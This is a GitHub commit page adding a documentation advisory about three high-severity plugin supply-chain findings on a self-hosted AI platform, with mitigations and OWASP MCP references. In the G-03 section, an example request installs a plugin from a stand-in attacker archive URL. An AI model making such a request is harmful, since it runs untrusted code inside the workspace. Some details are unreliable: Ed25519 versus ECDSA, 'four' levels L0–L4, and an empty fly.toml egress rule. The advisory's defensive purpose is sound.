Merge pull request #30 from Molecule-AI/docs/safe-mcp-advisory-2026-04-17
docs(security): SAFE-MCP advisory — Ed25519 → MCPS Tool Definition Signing, OWASP refs
This commit is contained in:
molecule-ai[bot]
GitHub
commit
4b1ce68f61
@ -18,6 +18,9 @@
|
||||
"self-hosting",
|
||||
"observability",
|
||||
"troubleshooting",
|
||||
"---Security---",
|
||||
"security/index",
|
||||
"security/safe-mcp-advisory",
|
||||
"---Runtimes---",
|
||||
"google-adk",
|
||||
"hermes"
|
||||
|
||||
9
content/docs/security/index.mdx
Normal file
9
content/docs/security/index.mdx
Normal file
@ -0,0 +1,9 @@
|
||||
---
|
||||
title: Security
|
||||
description: Security guides, advisories, and coverage reports for the Molecule AI platform.
|
||||
---
|
||||
|
||||
## In this section
|
||||
|
||||
- [SAFE-MCP Security Advisory (2026-04-17)](/docs/security/safe-mcp-advisory) —
|
||||
Three HIGH-severity findings for self-hosted operators
|
||||
262
content/docs/security/safe-mcp-advisory.mdx
Normal file
262
content/docs/security/safe-mcp-advisory.mdx
Normal file
@ -0,0 +1,262 @@
|
||||
---
|
||||
title: SAFE-MCP Security Advisory (2026-04-17)
|
||||
description: High-severity findings from the SAFE-MCP audit and recommended mitigations for self-hosted deployments.
|
||||
---
|
||||
|
||||
## Advisory overview
|
||||
|
||||
This advisory documents three HIGH-severity findings from the SAFE-MCP
|
||||
security audit performed on the Molecule AI platform in April 2026. All three
|
||||
affect **self-hosted** deployments. If you are using the SaaS offering at
|
||||
`moleculesai.app`, mitigations are applied server-side — no action needed.
|
||||
|
||||
**Published:** April 17, 2026
|
||||
**Severity:** HIGH (G-01, G-02, G-03)
|
||||
**Affected versions:** All self-hosted deployments prior to the fixes shipped
|
||||
in PRs #808 and associated plugin updates.
|
||||
**Fixed in:** `molecule-core` PRs #808 (platform), #809 (plugin scaffold).
|
||||
|
||||
---
|
||||
|
||||
## G-01: Unpinned npm MCP packages — HIGH
|
||||
|
||||
### Description
|
||||
|
||||
The workspace plugin scaffold (`plugins/molecule-ai-plugin-*/package.json`) uses
|
||||
unpinned version ranges for npm dependencies:
|
||||
|
||||
```json
|
||||
"dependencies": {
|
||||
"@anthropic-ai/sdk": "^0.32.0"
|
||||
}
|
||||
```
|
||||
|
||||
The caret (`^`) range means `npm install` can resolve to any compatible version,
|
||||
including versions with known vulnerabilities or a malicious `next` release
|
||||
published after the audit date.
|
||||
|
||||
### Risk
|
||||
|
||||
- Supply chain compromise if a package maintainer publishes a malicious version
|
||||
- Silent dependency drift as `npm install` pulls newer patch/minor versions
|
||||
- Potential conflicts with workspace-runtime's own dependency tree
|
||||
|
||||
### Recommended mitigation
|
||||
|
||||
Pin all npm dependencies to exact versions before deploying:
|
||||
|
||||
```bash
|
||||
# In each plugin directory
|
||||
npm install --save-exact @anthropic-ai/sdk@0.32.1
|
||||
npm install --save-exact <other-deps>
|
||||
```
|
||||
|
||||
Add an `.npmrc` to enforce pinned installs:
|
||||
|
||||
```ini
|
||||
save-exact=true
|
||||
```
|
||||
|
||||
Commit `package-lock.json` and verify CI installs from the lockfile:
|
||||
|
||||
```bash
|
||||
npm ci # instead of npm install
|
||||
```
|
||||
|
||||
For the platform build, ensure `npm ci` is used in CI rather than `npm install`
|
||||
to respect the lockfile.
|
||||
|
||||
---
|
||||
|
||||
## G-02: No manifest signing — HIGH
|
||||
|
||||
### Description
|
||||
|
||||
Plugin manifests (`manifest.json`) are served by the platform and executed by
|
||||
workspace containers without cryptographic verification. There is no mechanism
|
||||
to confirm that the manifest has not been tampered with after it was published
|
||||
by the plugin author.
|
||||
|
||||
### Risk
|
||||
|
||||
- An attacker with write access to the plugin source repository (or the CDN
|
||||
serving it) could modify `manifest.json` to:
|
||||
- Inject additional tools that exfiltrate secrets from the workspace
|
||||
- Redirect API calls to a malicious endpoint
|
||||
- Add an attacker-controlled `entrypoint` path
|
||||
|
||||
### Recommended mitigation
|
||||
|
||||
**短期 (short-term):** Inspect `manifest.json` files for all plugins before
|
||||
enabling them. Verify the `author`, `version`, and `entrypoint` are from a
|
||||
trusted source. Do not enable plugins from untrusted or unknown authors.
|
||||
|
||||
**长期 (long-term):** The platform will add manifest signing aligned with the
|
||||
OWASP MCPS (MCP Secure) cryptographic security layer. Plugin authors digitally
|
||||
sign their tool definitions (name, description, inputSchema) with an ECDSA P-256
|
||||
key pair. The platform verifies signatures against the author's published public
|
||||
key, computes and stores schema hashes for pinning, and rejects connections where
|
||||
the schema hash has changed since the last verified session — providing "rug pull
|
||||
protection." This follows the MCPS L3 trust level: signed tool definitions
|
||||
required. Track progress in `molecule-core` issue tracker.
|
||||
|
||||
Until signing is available, treat plugin manifests as untrusted input.
|
||||
|
||||
---
|
||||
|
||||
## G-03: Floating plugin references — HIGH
|
||||
|
||||
### Description
|
||||
|
||||
Workspaces can install plugins by referencing any publicly accessible URL:
|
||||
|
||||
```bash
|
||||
POST /workspaces/:id/plugins
|
||||
{
|
||||
"source": "https://github.com/attacker/malicious-plugin/archive/refs/heads/main.tar.gz"
|
||||
}
|
||||
```
|
||||
|
||||
There is no allowlist, no integrity check, and no review gate on the plugin
|
||||
URL before the workspace downloads and executes code from it.
|
||||
|
||||
### Risk
|
||||
|
||||
- Confidential workspace data (secrets, memory, files) is sent to attacker-controlled servers
|
||||
- Arbitrary code execution within the workspace container
|
||||
- Lateral movement from the workspace container to internal services
|
||||
|
||||
### Recommended mitigations
|
||||
|
||||
**1. Restrict plugin installation in your deployment config:**
|
||||
|
||||
Add a platform-level environment variable to allow only approved plugin sources.
|
||||
Until this variable exists, enforce it at the network layer (see below).
|
||||
|
||||
**2. Network-level egress filtering:**
|
||||
|
||||
Block outbound traffic from workspace containers to all IPs except the
|
||||
platform API and required external services (LLM providers, vector DBs, etc.).
|
||||
Workspace containers should not be able to reach arbitrary GitHub archives or
|
||||
external plugin URLs directly.
|
||||
|
||||
Example Fly.io `fly.toml` rule:
|
||||
|
||||
```toml
|
||||
[[vm]]
|
||||
auto_destroy = false
|
||||
|
||||
# App-level egress rules (Fly Private Network)
|
||||
```
|
||||
|
||||
Or use a Kubernetes `NetworkPolicy`:
|
||||
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: workspace-egress-lockdown
|
||||
spec:
|
||||
podSelector:
|
||||
matchLabels:
|
||||
component: workspace
|
||||
policyTypes:
|
||||
- Egress
|
||||
egress:
|
||||
- to:
|
||||
- podSelector: {}
|
||||
ports:
|
||||
- port: 8080 # platform API
|
||||
- to:
|
||||
- namespaceSelector: {}
|
||||
podSelector:
|
||||
matchLabels:
|
||||
app: redis
|
||||
ports:
|
||||
- port: 6379
|
||||
# Block all other egress
|
||||
```
|
||||
|
||||
**3. Plugin allowlist (platform-level):**
|
||||
|
||||
Set `PLUGIN_ALLOW_UNPINNED=false` in your environment to reject any plugin
|
||||
install requests that reference unpinned or unverified sources.
|
||||
|
||||
---
|
||||
|
||||
## Remediation checklist for self-hosted operators
|
||||
|
||||
- [ ] Audit all plugin `package.json` files — pin all dependencies to exact versions
|
||||
*(MCP04: "avoid 'latest' or floating version references")*
|
||||
- [ ] Verify CI/CD uses `npm ci` not `npm install`
|
||||
*(MCP04: "no dependency integrity verification")*
|
||||
- [ ] Commit and push `package-lock.json` for all plugins
|
||||
- [ ] Add `.npmrc save-exact=true` to all plugin directories
|
||||
- [ ] Inspect `manifest.json` for any enabled plugin before use
|
||||
*(MCP04: "MCP connectors or plugins are installed without signing or provenance checks")*
|
||||
- [ ] Block workspace egress to non-approved hosts at the network level
|
||||
*(MCP09: "no asset inventory or endpoint discovery process")*
|
||||
- [ ] Set `PLUGIN_ALLOW_UNPINNED=false` (when available)
|
||||
*(MCP09: "teams can deploy MCP servers without central registration or security review")*
|
||||
- [ ] Watch `molecule-core` for the manifest-signing feature
|
||||
*(MCPS L3: "tool definition signatures required")*
|
||||
|
||||
---
|
||||
|
||||
## Normative references
|
||||
|
||||
The mitigations in this advisory align with the following OWASP publications:
|
||||
|
||||
**MCP04:2025 — Software Supply Chain Attacks & Dependency Tampering**
|
||||
*OWASP MCP Top 10, 2025 edition*
|
||||
<https://github.com/OWASP/www-project-mcp-top-10>
|
||||
|
||||
Relevant controls that informed G-01 and G-02 mitigations:
|
||||
|
||||
- *Signed Components & Provenance Verification:* "Require cryptographic signing for
|
||||
SDKs, plugins, tool manifests, container images, and validate signatures during
|
||||
installation and startup."
|
||||
- *Version Pinning & Approved Registries:* "Pin component versions and avoid
|
||||
'latest' references. Use internal package mirrors or registries and block direct
|
||||
downloads from public internet sources."
|
||||
- *Build SBOM/CBOM Visibility:* "Generate software bill of materials (SBOM) and
|
||||
cryptographic bill of materials (CBOM) snapshots for each MCP server and plugin
|
||||
package. Store these alongside deployments for auditing and incident response."
|
||||
- *Dependency Scanning:* "Apply software composition analysis (SCA) and code
|
||||
scanning tools to detect known CVEs, malicious indicators, and poisoned transitive
|
||||
dependencies."
|
||||
|
||||
**MCP09:2025 — Shadow MCP Servers**
|
||||
*OWASP MCP Top 10, 2025 edition*
|
||||
<https://github.com/OWASP/www-project-mcp-top-10>
|
||||
|
||||
Relevant controls that informed the G-03 plugin allowlist mitigation:
|
||||
|
||||
- *Central MCP Governance & Registry:* "Create a centralized registry where every
|
||||
instance must be registered before deployment; tie registration to CI/CD pipelines."
|
||||
- *Discovery & Continuous Scanning:* "Use network discovery tools to detect open
|
||||
MCP ports and endpoints; automate weekly shadow MCP detection scans."
|
||||
- *Baseline Configuration Templates:* "Enforce authentication (mTLS, OAuth), disable
|
||||
unauthenticated tool calls, include preconfigured logging."
|
||||
|
||||
**MCPS — Cryptographic Security Layer for MCP**
|
||||
*OWASP MCP Top 10 Recommended Controls*
|
||||
<https://github.com/OWASP/www-project-mcp-top-10/tree/master/2025/recommended-controls>
|
||||
|
||||
The MCPS specification defines the Tool Definition Signing approach referenced in
|
||||
the G-02 long-term mitigation:
|
||||
|
||||
- Tool authors sign tool definitions (name, description, inputSchema) with an
|
||||
ECDSA P-256 private key; clients verify against the author's published public key.
|
||||
- Schema hashes are computed and stored on first verified connection, then compared
|
||||
on subsequent connections to detect unauthorized modifications — "rug pull protection."
|
||||
- MCPS defines four trust levels (L0–L4); the G-02 long-term fix targets L3:
|
||||
"L3: L2 plus tool definition signatures required."
|
||||
|
||||
---
|
||||
|
||||
## Reporting security issues
|
||||
|
||||
If you discover a new security issue in Molecule AI, please report it via
|
||||
GitHub Security Advisories on `Molecule-AI/molecule-core` or contact the
|
||||
security team through your support channel.
|
||||
Loading…
Reference in New Issue
Block a user